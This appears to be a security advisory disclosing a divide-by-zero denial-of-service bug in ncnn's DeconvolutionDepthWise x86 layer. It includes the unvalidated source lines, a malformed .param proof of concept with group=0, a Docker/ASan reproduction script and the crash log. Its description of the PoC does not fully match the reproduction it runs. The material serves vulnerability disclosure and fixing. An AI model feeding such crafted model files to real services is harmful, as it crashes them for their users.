Divide-by-Zero DoS in DeconvolutionDepthWise
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/deconvolutiondepthwise_x86.cpp:33 in DeconvolutionDepthWise_x86::create_pipeline
Sanitizer verdict: FPE on unknown address 0x629e5f9d5ba0 (pc 0x629e5f9d5ba0 bp 0x7ffed5f257b0 sp 0x7ffed5f25430 T0)
Summary
A DeconvolutionDepthWise layer with group set to zero crashes the x86 backend with SIGFPE during pipeline creation. group comes straight from parameter field 7 of the attacker-supplied .param file, is never validated, and is used as the first divisor in the channel-count expression. The PoC triggers it through ncnnoptimize poc.param poc.bin out.param out.bin 0, with the fault landing inside ncnn::Net::load_model.
Detail
DeconvolutionDepthWise::load_param reads group = pd.get(7, 1) and returns 0 unconditionally — unlike ConvolutionDepthWise::load_param, it does not even attempt the num_output % group consistency test, so no non-positive value is rejected. DeconvolutionDepthWise::load_model only checks that the weight blob is non-empty, so the PoC's single-float .bin passes. Net::load_model then calls the x86 create_pipeline, which computes the channel count with group in the denominator twice.
// src/layer/deconvolutiondepthwise.cpp:35
group = pd.get(7, 1);
// src/layer/x86/deconvolutiondepthwise_x86.cpp:32
const int maxk = kernel_w * kernel_h;
int channels = (weight_data_size / group) / maxk / (num_output / group) * group;
The PoC layer line is DeconvolutionDepthWise deconv 1 1 data output 0=1 1=1 2=1 3=1 5=0 6=1 7=0: num_output = 1, a 1x1 kernel (maxk = 1), weight_data_size = 1 and group = 0. dynamic_weight is unset, so the early return at line 30 is not taken.
Evaluation is left to right, so the leftmost sub-expression weight_data_size / group is 1 / 0 and traps immediately at line 33; the second occurrence, num_output / group, would trap identically. The integer division by zero raises SIGFPE and aborts ncnnoptimize before the model can be optimized or written.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-dos-in-deconvolutiondepthwise && cd ncnn-poc-divide-by-zero-dos-in-deconvolutiondepthwise
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
1 2
DeconvolutionDepthWise d 1 1 a b 6=1 7=0
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
find_blob_index_by_name a failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x61c1d9040ba0 (pc 0x61c1d9040ba0 bp 0x7ffd842bbfe0 sp 0x7ffd842bbc60 T0)
#0 0x61c1d9040ba0 in ncnn::DeconvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/deconvolutiondepthwise_x86_avx512.cpp:33
#1 0x61c1d39d4c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#2 0x61c1d38e8c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#3 0x75bd605ad1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x75bd605ad28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x61c1d3868624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/deconvolutiondepthwise_x86_avx512.cpp:33 in ncnn::DeconvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst